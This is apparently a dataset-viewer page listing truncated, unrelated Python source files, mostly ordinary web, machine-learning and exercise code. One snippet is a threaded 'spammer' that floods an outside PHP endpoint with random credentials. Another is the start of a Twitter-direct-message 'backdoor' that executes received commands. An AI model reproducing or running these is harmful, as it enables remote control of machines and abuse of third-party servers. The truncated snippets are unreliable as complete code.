text stringlengths 38 1.54M |
|---|
#!/usr/bin/env python
import sys
import os
import base64
import hmac, hashlib
from jinja2 import Template
if len(sys.argv) != 2:
print 'usage: python ' + sys.argv[0] + ' <BUCKET_NAME>'
sys.exit()
AWS_ACCESS_KEY = os.environ['AWS_ACCESS_KEY_ID']
AWS_SECRET_ACCESS_KEY = os.environ['AWS_SECRET_ACCESS_KEY']
BUC... |
###################################################################
def same_site(self,dc=10, in_place=True, verbose=False):
###################################################################
"""
Check that all gts in the current Sgts are actually the same site. If a given time series is
found to be ... |
import requests
import os
import random
import string
import json
from threading import *
def spammer() -> None:
chars = string.ascii_letters + string.digits + '!@#$%^()'
random.seed = (os.urandom(1024))
url = 'https://garina999.win/k_fac.php'
names = json.loads(open('names.json').read())
for... |
from flask import Flask, request, jsonify, Response
from models import UserModel
import json
app = Flask(__name__)
user_model = UserModel()
@app.route("/slack-response", methods=['POST'])
def slack_proxy_response():
data = json.loads(request.form.get('payload'))
user_model.entered_this_round(data[... |
import falcon
def _default_failed(req, resp, **kwargs):
raise falcon.HTTPFound('/auth/login')
class AuthRequiredMiddleware:
"""Requires a cookie be set with a valid JWT or fails
Example:
import falcon
from falcon_helpers.middlewares.auth_required import AuthRequiredMiddleware
c... |
import requests
import simplejson
import csv
""" for the example only"""
import trial_file_reader
from user_talk_vandal_vocab_count import *
from user_talk_vandal_vocab_ratio import *
from user_revision_count import *
from user_talk_revision_count import *
from user_article_to_edit_ratio import *
from user_empty_com... |
#!/usr/bin/python
# -*- coding: iso-8859-15 -*-
#Copyright 2008 Steffen Jobbagy-Felso
#This program is free software: you can redistribute it and/or modify
#it under the terms of the GNU Affero General Public License as published by
#the Free Software Foundation, version 3 of the License.
#
#This program is distribute... |
# Copyright (c) 2013, frappe and contributors
# For license information, please see license.txt
from __future__ import unicode_literals
import frappe
from frappe import _
def execute(filters=None):
columns = get_column()
data = get_data(filters)
return columns,data
def get_column():
return [_("Item Name") + ":Da... |
# coding: utf-8
"""
Hopsworks api
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) # noqa: E501
OpenAPI spec version: 1.1.0-SNAPSHOT
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
import pprint
import re # noqa: F401
... |
import torch
from torchvision.transforms import functional as F
from data import valid_dataloader
from utils import Adder
import os
from skimage.metrics import peak_signal_noise_ratio
def _valid(model, args, ep):
device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')
gopro = valid_dataloader(ar... |
import tensorflow as tf
import tensorflow.keras as keras
import numpy as np
import cv2 as cv2
from glob import glob
from unet import unet
tf.executing_eagerly()
capture = cv2.VideoCapture(0)
model = keras.models.load_model('models/model.h5')
while True:
ret, img = capture.read()
y_pred = model.predict(np.... |
# -*- coding: utf-8 -*-
# Generated by Django 1.10 on 2018-04-11 17:07
from __future__ import unicode_literals
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('animales', '0002_auto_20180404_1603'),
]
operations ... |
from django.urls import path
from .views import add_show, update_data, delete_data
urlpatterns = [
path('', add_show, name='addandshow'),
path('delete/<int:id>/', delete_data, name='deletedata'),
path('<int:id>/', update_data, name='updatedata'),
] |
# -*- coding: utf-8 -*-
import pygame
import random
from sys import exit
# use sys.exit to closed
pygame.init()
# Initialize pygame
screen = pygame.display.set_mode((450, 800), 0, 32)
# Create 450 * 800 window
pygame.display.set_caption("Hit plane")
# Set title
class Plane:
def restart(self):
self.x = 2... |
#!/usr/bin/env python
#Read a Direct Message(Twitter) from a predefined user/users and execute(Recipient) it
__author__ = ["Mad_Dev"]
__email__ = ["mad_dev@linuxmail.org"]
import os
import sys
import twitter
import subprocess
'''
Requires python-twitter
Backdoor was written to test the possibility of issuing ... |
# Generated by Django 2.2.1 on 2019-08-21 10:03
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('students', '0003_auto_20190820_1200'),
]
operations = [
migrations.CreateModel(
name='Group',
... |
import webbrowser
from tkinter import *
from tkinter import filedialog
def Ouvrir():
filename = filedialog.askopenfilename(title="Ouvrir une fichier pdf",filetypes=[('pdf files','.pdf'),('all files','.*')])
webbrowser.open_new(filename)
fenetre = Tk()
fenetre.title("Lecture file")
nav = Menu(fen... |
#https://leetcode.com/problems/kids-with-the-greatest-number-of-candies/
#STARTED: February 2 2021
"""
Given the array candies and the integer extraCandies,
where candies[i] represents the number of candies that the ith kid has.
For each kid check if there is a way to distribute extraCandies
among the kids such that ... |
"""
Data generator for segment to label problem.
Each segment is padded to length 6000, and labels are one-hot encoded.
"""
import numpy as np
from keras.utils import Sequence, to_categorical
from keras.preprocessing.sequence import pad_sequences
import os.path
DIR_PATH = ''
"""
Generator for training and validation... |
# Comparision script for mzn-cpx and muaco
# Author: Vladimir Ulyantsev (ulyantsev@rain.ifmo.ru)
import datetime
import os
import sys
import re
import subprocess
import json
import random
import shutil
# reproducible results
random.seed(239239)
COMMAND_TEMPLATE = 'java -Xmx512M -Xss128M -jar %s %s'
... |
"""
Data comes from Microsoft Research WikiQA Corpus
https://www.microsoft.com/en-us/download/details.aspx?id=52419
"""
import numpy as np
import torch
from torchtext.data import BucketIterator, Field, interleave_keys, RawField
from torchtext.data.dataset import TabularDataset
from torchtext.data.pipeline import Pipeli... |
"""
Flask app to store and retrieve a list of bubble tea shops
Data is stored in a SQLite database that looks something like the following:
+------+--------------+----------+-------+-------+-----------+------------+--------------+-------------+------+--------+
| Nam | Address | City | State | Zip | Open Ho... |
'''
Created on Mar 20, 2014
input: read training data: llExpTerm[query][term] + lParaSet + K
if len(lParaSet) = 1 then, use it train model
else: K fold cv on llExpTerm(query dimension) choose the best parameter, and train
return a SVM model
@author: cx
'''
import site
site.addsitedir('/bos/usr0/cx/PyCode/Geek... |
from datetime import datetime
class Movimentacao:
def __init__(self, tipo: str, movimentado, quantidade: int, valor_total: float):
self.__data = datetime.now()
self.__tipo = tipo
self.__movimentado = movimentado
self.__quantidade = quantidade
self.__valor_total = valor_total... |
"""
MegaCorp wants to give bonuses to its employees based on
how many lines of codes they have written. They would like
to give the smallest positive amount to each worker consistent
with the constraint that if a developer has written more lines
of code than their neighbor, they should receive more money.
Given an arra... |
#!/usr/bin/python
import sys
import os
import json
import parser_api
import lib.log_api as log_api
main_dir = sys.path[0]
scenarios_dir = main_dir + os.sep + "scenarios"
scripts_dir = main_dir + os.sep + "scripts"
scripts_parser = scripts_dir + os.sep + "parser"
parserLog = log_api.initLogger("parserLog")
class S... |
from typing import List
import torch.nn as nn
import torch.nn.functional as F
class Solution(nn.Module):
def __init__(self):
super(Solution, self).__init__()
## TODO: Define all the layers of this CNN, the only requirements are:
## 1. This network takes in a square (same width and height... |
from os import listdir
import os
from os.path import isfile, join
onlyfiles = [f for f in listdir("fonts") if isfile(join("fonts", f))]
class File:
def __init__(self, filename):
parts = filename.split(".")
self.extension = parts[1]
self.family = parts[0].split("-")[0]
if(len(parts[0... |
#encoding=utf-8
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
import os
#获取当前文件的绝对路径
parentDirPath = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
print parentDirPath
#绝对路径是不是/config/PageElementLocator.ini???
#获取存放页面元素的定位表达式文件的绝对路径
pageElementLocatorPath = parentDirPath + u"/config/PageElement... |
import AppKit
from PyObjCTools.TestSupport import TestCase
import objc
class TestNSColorPickingHelper(AppKit.NSObject):
def supportsMode_(self, m):
return 0
def provideNewView_(self, i):
return None
def initWithPickerMask_colorPanel_(self, m, p):
return 1
class TestNSColorPicki... |
#
# The Python Imaging Library
# $Id$
#
# JPEG2000 file handling
#
# History:
# 2014-03-12 ajh Created
# 2021-06-30 rogermb Extract dpi information from the 'resc' header box
#
# Copyright (c) 2014 Coriolis Systems Limited
# Copyright (c) 2014 Alastair Houghton
#
# See the README file for information on usage and red... |
""" Preprocessing for semantic image segmentation
adapted from: https://github.com/aurora95/Keras-FCN
"""
from keras.preprocessing.image import Iterator
from keras.applications.imagenet_utils import preprocess_input
from .. import backend as K
from PIL import Image
import numpy as np
import os
def center_crop(x,... |
import sys
sys.path.insert(0, "../")
sys.path.insert(0, "../../")
import biopy as bp
with open("wk2quiz3a.txt") as dataset:
pairs = dataset.read().splitlines()
print(pairs)
seq = bp.ord_pairs_to_sequence(4, 2, pairs, debug=True)
print(seq)
|
import matplotlib._color_data as mcd
import numpy as np
from abc import ABC,abstractmethod
from Function import *
import math
class Model(ABC):
#_______________________________________________________________________________
def __init__(self, parameters, mass=1., coupling=1.e-06):
self.ns0 = paramete... |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Copyright 2021 The TARTRL Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unle... |
# coding: utf-8
'''
This script provides the following utilies for image classification
- Data transformation
- Data Loading
- Model creation
- Model training
- Saving model checkpoint
- Image processing
- Image Prediction
The utilities all functions and call relevant function invoke the requisite utility
... |
import board
from advancedAgent import AdvancedAgent
from minCostAgent import MinCostAgent
from minRiskAgent import MinRiskAgent
def main():
dim = 10
runs = 5
mineStepSize = 10
startMines = 10
endMines = 100
for mines in range(startMines, endMines, mineStepSize):
advanced_risk = 0
... |
import os
import platform
import numpy as np
from qpython.qtemporal import qtemporal
from qpython import qtype
from datetime import datetime
from fxqu4nt import APP_NAME
JAN_1_2000 = datetime(year=2000, month=1, day=1, hour=0, second=0, microsecond=0)
def normalize_path(path: str):
return path.replace("\\", "/")... |
class Solution:
def searchRange(self, nums: List[int], target: int) -> List[int]:
if len(nums) == 0:
return [-1, -1]
def recurse(left, right):
mid = (left + right) // 2
if nums[left] == target == nums[right]:
return [left, right]
if nu... |
#!/usr/bin/env python
import os
from app import create_app, db
from flask.ext.script import Server, Manager, prompt_bool
from flask.ext.socketio import SocketIO, emit, join_room, leave_room, \
close_room, disconnect
from flask import request
import time
from threading import Thread
app = create_app(os.getenv('FLAS... |
#PassowrdManager.py
#This program will manage users passwords
name = ""
passwords_list = []
members_list = []
def menu(name):
print("Hey there", name)
mode = input("""Choose whether you would to like add/remove a password(1), view passwords(2) or exit application(3), """).strip()
return mode
... |
def alphabet_position_versao_1(text):
print(text)
alfabeto = list("abcdefghijklmnopqrstuvwxyz")
result = ""
for word in text:
if word.lower() in alfabeto:
result += str(alfabeto.index(word.lower())+1) + " "
return result.strip()
def alphabet_position_versao_2(text):
alp... |
import certifi
import numpy as np
import os
import pathlib
import urllib3
import torch
from vel.api import Source
class TextIterator:
""" Iterator over a text dataset """
def __init__(self, padded_sequence, sequence_length, batch_size, alphabet_size, num_batches):
self.sequence_length = sequence_len... |
import logging
from pathlib import Path
from typing import TYPE_CHECKING
from mackerel import exceptions, renderers
from mackerel.content import Document
from mackerel.helpers import cached_property, make_config
if TYPE_CHECKING:
from typing import Tuple # noqa
from configparser import ConfigParser # noqa
... |
from sklearn.linear_model import LinearRegression, Ridge, Lasso, ElasticNet
from sklearn.neighbors import KNeighborsRegressor
from sklearn.tree import DecisionTreeRegressor
from sklearn.ensemble import RandomForestRegressor
from sklearn.neural_network import MLPRegressor
import utils.metrics as metrics_util
import util... |
class Graph:
def __init__(self,Nodes):
self.nodes = Nodes
self.adjacent_list = {}
for node in nodes:
self.adjacent_list[node] = []
def add_edge(self,u,v):
self.adjacent_list[u].append(v)
self.adjacent_list[v].append(u)
def print_adj_list(self):
... |
from django.shortcuts import render, redirect, HttpResponse
from apps.books_authors_app.models import Book, Author
# Create your views here.
def books(request):
context = {}
context['books'] = Book.objects.all()
return render(request, "books_authors_app/books.html", context)
## Route to add a book to the ... |
import random
from pyrlog.node import *
from pyrlog.message import *
"""Implementation of the Raft consistency protocol.
See: In Search of an Understandable Consensus Algorithm (Extended Version)
http://ramcloud.stanford.edu/raft.pdf
"""
class State(object):
FOLLOWER = 1
LEADER = 2
CANDIDATE = 3
class ... |
import subprocess
from django.core.management.base import BaseCommand
class Command(BaseCommand):
help = 'マイグレーション履歴の削除、マイグレーションファイルの再生成、マイグレートするコマンド'
def handle(self, *args, **options):
subprocess.call(['python', 'manage.py', 'migrate', 'models', 'zero'])
subprocess.call(['rm', '-fr', 'model... |
from tkinter import *
import tkinter.font as font
from tkinter import filedialog
def upload():
window.file=filedialog.askopenfilename()
print(window.file)
def doctor_details():
window1=Tk()
window1.geometry('-0+80')
window1.title("Doctor Details")
f2=Frame(window1)
f2.configure(ba... |
from datacompression import compressionAlgorithmn
targetFile = "sample.txt"
h = compressionAlgorithmn(targetFile)
output_path = h.compress()
h.decompress(output_path)
|
'''
Author: your name
Date: 2020-08-06 15:18:03
LastEditTime: 2020-08-06 18:56:04
LastEditors: Please set LastEditors
Description: In User Settings Edit
FilePath: \Algorithms_and_Data_Strucures\chapter_1\poker.py
'''
class Piece_Pocker:
"""描述一张扑克牌的类
"""
def __init__(self):
# 此时花色就是类型,包括大小王
... |
def powerset(array):
# Write your code here.
result = [[]]
for element in array:
result += powersetUtil(result, element)
return result
def powersetUtil(result, element):
tempArray = []
for subarray in result:
tempArray.append(subarray + [element])
return tempArray
prin... |
'''
@author: Victor Pedroso Curtarelli
-------------------------------------------------------------------------------
Modelo QAA v6 integrado ao modelo de Kd com base no ajuste dos Passos 2 e 4
usando bandas do sensor Sentinel 2A/MSI.
Este modelo é separado em duas fases, na primeira é aplicado o modelo "Quasi
Analy... |
import pickle
from filelock import FileLock
from ppdl.storage.weight_storage import WeightStorage
class LocalWeightStorage(WeightStorage):
def __init__(self, weights_filename, stats_filename):
self.weights_filename = weights_filename
self.stats_filename = stats_filename
def store_weights(s... |
from main import *
v = np.arange(1,4+0.5,0.5)
phi = np.arange(0,2*np.pi,0.25*np.pi)
T = ["Formal_Table","Ellipse_Table","Table_O1","Table_O2"]
# for t in ["Formal_Table","Ellipse_Table"]:
# print("=== {} ===".format(t))
# res = []
# for vi in v:
# temp = []
# for pi in phi:
# ... |
# -*- coding: utf-8 -*-
"""
Spyder Editor
This is a temporary script file.
"""
#%%
import turtle
import random
scr=turtle.Screen()
scr.title('snake & ladder')
scr.bgpic('Snake.gif')
yellow=turtle.Turtle()
yellow.shape("circle")
yellow.hideturtle()
yellow.penup()
yellow.goto(-265, -155)
yellow.color(1... |
import imutils
import cv2
import numpy as np
class ShapeDetector:
def __init__(self):
pass
def detect(self, c):
shape = "unidentified"
peri = cv2.arcLength(c, True)
approx = cv2.approxPolyDP(c, 0.04 * peri, True)
if len(approx) == 3:
shape = "triang... |
"""bigquery-etl CLI."""
import warnings
import click
from .._version import __version__
# We rename the import, otherwise it affects monkeypatching in tests
from ..cli.alchemer import alchemer as alchemer_
from ..cli.dag import dag
from ..cli.dryrun import dryrun
from ..cli.format import format
from ..cli.glean_usa... |
# -*- coding: utf-8 -*-
import os
import random
import shutil
from datetime import datetime
import numpy as np
import torch
import yaml
from pytorch_lightning.logging import TestTubeLogger
from test_tube import HyperOptArgumentParser
from test_tube.argparse_hopt import TTNamespace
def load_yaml_args(parser: HyperOp... |
# Gotta import gym!
import gym
# Make the environment, replace this string with any
# from the docs. (Some environments have dependencies)
env = gym.make('CartPole-v0')
# Reset the environment to default beginning
# Default observation variable
print("Initial Observation")
observation = env.reset()
print(observation)... |
from math import*
t = float(input("Digite o tempo em segundos: "))
g = 9.81
l = g * (t / (2*pi))**2
print(l)
|
#encoding:utf-8
import selenium
from selenium import webdriver
from selenium.webdriver.support.select import Select
from selenium.webdriver.common.keys import Keys
driver = webdriver.Firefox()
driver.get('http://ms.dqs-edu.com/')
driver.find_element_by_id('uname').clear()
driver.find_element_by_id('uname').send_keys('a... |
num1 = int(input("Enter a number between 10 and 20: "))
if num1 <= 20 and num1 >= 10:
print('Thank you')
else:
print('Incorrect')
|
# -*- coding: utf-8 -*-
"""
Study Regular Expression functions named split
@author: Sam Fang
"""
import re
def how_to_use_split():
DATA = ('Mountain View, CA 94040',
'Sunnyvale, CA doweewe',
'Los Altos, 94023 XAX',
'Cupertino, 95014',
'Palo Alto, CA'
)
... |
import os
import tarfile
import zipfile
from os.path import isdir, isfile, islink, join, exists
from subprocess import check_output, STDOUT
import pytest
from venv_pack.formats import archive
@pytest.fixture(scope="module")
def root_and_paths(tmpdir_factory):
root = str(tmpdir_factory.mktemp('example_dir'))
... |
from django.conf.urls import url, include
from rest_framework import routers
from . import views
router = routers.DefaultRouter()
router.register(r'products', views.ProductViewSet)
router.register(r'productcomplete', views.ProductAutocompleteViewSet)
router.register(r'cloud', views.CloudViewSet)
router.register(r'c... |
__author__ = 'Jonathan Rubin'
import os
import matplotlib
matplotlib.use('Agg')
from matplotlib import rcParams
rcParams.update({'figure.autolayout': True})
import matplotlib.pyplot as plt
import scipy.stats as stats
def run(files,figures):
outfile = open(figures + 'TFs.txt','w')
for file1 in os.l... |
def split_and_join(line):
# write your code here
lines="this is a string"
lines=line.split(" ")
lines="-".join(line)
if __name__ == '__main__':
line = input()
result = split_and_join(line)
print(result) |
a = int(input("Enter a Number: "))
f=1
for i in range(1,a+1):
f=f*i
print("Factorial of a number is",f) |
#!/usr/bin/python
# Importing the module
import urllib2
import random
from SimpleCV import *
import time
import pygame
import csv
pygame.mixer.init()
while True:
url = 'http://data.sparkfun.com/output/jqwVKxlQgYTa9om26GjL.cvs'
#url = 'http://data.sparkfun.com/output/yAnZOd1KQ6IzNRMr6jM1.cvs'
response = urllib2.... |
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('gameplay', '0005_auto_20180427_1415'),
]
operations = [
migrations.AddField(
model_name='dailyjackpot',
... |
import sentiment
import os
import re
import math
import csv
from tqdm import tqdm
from tkinter import filedialog
from nltk.corpus import stopwords
from nltk.tokenize import word_tokenize
#将每年频率高的词移除
spc_stopwords = ['rms','received','told','car','assigned','arrested','rape','mater','id','suspect','state','states','st... |
from models.course.exams.student_answers import Student_Answers
from methods.errors import *
class student_answers_controller():
def post_student_answer(self, student_answer):
try:
student_answer = Student_Answers(**student_answer)
student_answer = Student_Answers.insert(student_an... |
from django.urls import path, include
from . import views
from rest_framework import routers
router = routers.DefaultRouter()
router.register('employees', views.EmployeeView),
router.register('title', views.TitleView),
router.register('specialist', views.SpecialistView),
router.register('manager', views.ManagerView),... |
import numpy as np
import cv2
import math
import win32ui
import os
def Automeasure(img):
# step1:加载图片,转成灰度图
image = cv2.imread(img)
gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
width, height = image.shape[:2]
# step2:用Sobel算子计算x,y方向上的梯度,之后在x方向上减去y方向上的梯度,通过这个减法,我们留下具有高水平梯度和低垂直梯度的图像区域。
grad... |
# -*- coding: utf-8 -*-
"""
Created on Sun Jun 9 21:31:36 2019
@author: md705
"""
from bs4 import BeautifulSoup
import requests
class WebScrape():
#class to scrape news website for top stories
#returns a dictionary of titles and links
def __init__(self):
self.url = ''
self.... |
#
# This file is part of Dragonfly.
# (c) Copyright 2007, 2008 by Christo Butcher
# Licensed under the LGPL.
#
# Dragonfly is free software: you can redistribute it and/or modify it
# under the terms of the GNU Lesser General Public License as published
# by the Free Software Foundation, either version 3 of the... |
from django.contrib import admin
# Register your models here.
from .models import UserBalance, UserBalanceChange
admin.site.register(UserBalance)
admin.site.register(UserBalanceChange) |
# -*- coding: utf-8 -*-
# Copyright 2018 Quartile Limited
# License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl).
{
'name': 'Model Security Delivery',
'category': 'Security',
'version': '8.0.1.3.1',
'author': 'OA Trade Ltd.',
'website': '',
'depends': [
'sale',
'stock',
... |
import json
import os
import protogen
input_ports_location = '/mnt/work/input/'
output_ports_location = '/mnt/work/output/'
# Get image directory
image_dir = os.path.join(input_ports_location, 'image')
# Point to image file. If there are multiple tif's in multiple subdirectories, pick one.
image = [os.path.join(dp, ... |
import pandas as pd
import time
from tensorflow.keras.models import Sequential
from tensorflow.keras.layers import Dense, Input
from tensorflow.keras.models import Model
from tensorflow.keras import optimizers
from tensorflow import sigmoid
import numpy as np
def categoriza(data):
id = 1.
dic = {}
index = [... |
import os
# TODO: This dirname chain is dumb.
BASE_DIR = os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
MEDIA_ROOT = BASE_DIR + '/media/'
STATIC_ROOT = BASE_DIR + '/static/'
# We use different static directories because I compile
# frontend code via grunt (sass compiling, minifying, ... |
__author__ = 'Brendan'
from pymongo import MongoClient
client = MongoClient('mongodb://localhost:27017')
db = client['pymongo_twit_test'] # specify/create database
posts = db.posts # sample entry
print "initial database: "
print db.posts
'''
post_data = {
'title': 'My database entry',
'content': 'somewhat... |
# -*- coding: utf-8 -*-
"""
Spyder Editor
This is a temporary script file.
"""
import pandas as pd
import mysql.connector
mydb = mysql.connector.connect(
host = "localhost",
user = "root",
passwd = "Esther99!",
database = "HW3"
)
print(mydb)
mycursor = mydb.cursor()
my... |
# Author: Kevin Köck
# Copyright Kevin Köck 2019 Released under the MIT license
# Created on 2019-11-05
__updated__ = "2019-11-05"
__version__ = "0.1"
from ..mqtt_as_timeout_concurrent import MQTTClient
import uasyncio as asyncio
loop = asyncio.get_event_loop(waitq_len=60, runq_len=60)
async def publish(val, t):... |
# Hash table module; similar purpose and structure as dictionaries
class HashTable:
''' Create a hash table with size m.'''
def __init__(self, m):
# m is the size of tha array, r can be any prime number
self.m = m
self.r = 31
self.hashtable = []
self.construct()
'... |
def add(num1: float, num2: float) -> float:
"""a function that adds two numbers"""
num3 = num1 + num2
return num3
def subtract(num1: float, num2: float) -> float:
"""a function that adds two numbers"""
num3 = num1 - num2
return num3
def division(num1: float, num2: float) -> float:
"""a... |
from django.db import models
# Create your models here.
class Elemento(models.Model):
texto_um = models.CharField(
max_length=10,
verbose_name='Texto Um',
default='',
blank=True,
)
texto_dois = models.CharField(
max_length=20,
verbose_name='Text... |
from typing import AsyncGenerator, Generic, List, Optional, Sequence
import httpx
import pytest
from fastapi import Depends, FastAPI, Request, status
from fastapi.security.base import SecurityBase
from fastapi_users import models
from fastapi_users.authentication import AuthenticationBackend, Authenticator
from fasta... |
from aizynthfinder.chem.serialization import MoleculeSerializer, MoleculeDeserializer
from aizynthfinder.chem import TreeMolecule
from aizynthfinder.search.mcts import MctsState
from aizynthfinder.search.mcts import MctsNode
from aizynthfinder.search.mcts import MctsSearchTree
def test_serialize_deserialize_state(def... |
# ******************************
# Doug Smyka
# Multiplication Application
# Date Created: 10.19.20
# Date Revised: 10.19.20
# ******************************
import random
import time
import pyinputplus as pyip
# METHODS
# ******************************
# TAKE USER INPUT FOR MAX VALUE
# *********... |
#! coding: utf-8
import os
import mock
from django_datajsonar.tasks import read_datajson
from django_datajsonar.models import Distribution, Field, Catalog
from django_datajsonar.models import ReadDataJsonTask, Node
from series_tiempo_ar_api.apps.management import meta_keys
from series_tiempo_ar_api.apps.management.mo... |
# -*- coding:utf-8 -*-
import numpy as np
import random
import qiujie
sd=np.zeros((9,9))
print "数独初始化\n******************************************"
i=0fffffffffffffffffff
j=0
while(i<=8):
while(j<=8):
m=(i/3)*3+j/3
[a,b,c]=qiujie.shuaxin(sd)
kx=qiujie.keyi(a[i],b[j],c[m])
... |
from django.contrib import admin
from .models import Stock, SupplierInformation, Job, StockTemp, TemplateList
from .forms import StockCreateForm, SuppliersCreateForm, StockIssueForm, TemplateListForm
# Register your models here.
class StockCreateAdmin(admin.ModelAdmin):
#BUILTIN ADMIN
# what I want to dis'catagory_na... |
# -*- coding: utf-8 -*-
# Generated by Django 1.11.29 on 2020-03-22 08:14
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('system', '0003_auto_20200321_1634'),
]
operations = [
migrations.AlterMode... |
from openpyxl import Workbook
from openpyxl import load_workbook
########################################
########################################
## MAKE SURE THE FILE IS CLOSED FIRST ##
## MAKE SURE THE FILE IS CLOSED FIRST ##
## MAKE SURE THE FILE IS CLOSED FIRST ##
########################################
########... |
# -*- coding: utf-8 -*-
# @Time : 2019/7/16
# @Author : JWDUAN
# @Email : 494056012@qq.com
# @File : gluon_loss.py
# @Software: PyCharm
import numpy as np
from mxnet import ndarray
from mxnet.base import numeric_types
from mxnet.gluon import HybridBlock
def _apply_weighting(F, loss, weight=None, sample_weight... |
#!/usr/bin/python
from pattern import *
class PCurl(Pattern):
Pattern.ATTRIBUTS.extend(['name', 'url', 'protocole', 'descr', 'user'])
def __init__(self, arguments_attribut):
super(PCurl, self).__init__('PCurl', arguments_attribut)
def do(self):
if 'user' in self.attributs:
... |
from distutils.core import setup
setup(
name='autonomous',
version='1.0dev',
packages=['autonomous', 'common', 'car_to_x/CarToCar'],
license='Creative Commons Attribution-Noncommercial-Share Alike license',
long_description=open('README.txt').read(),
)
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.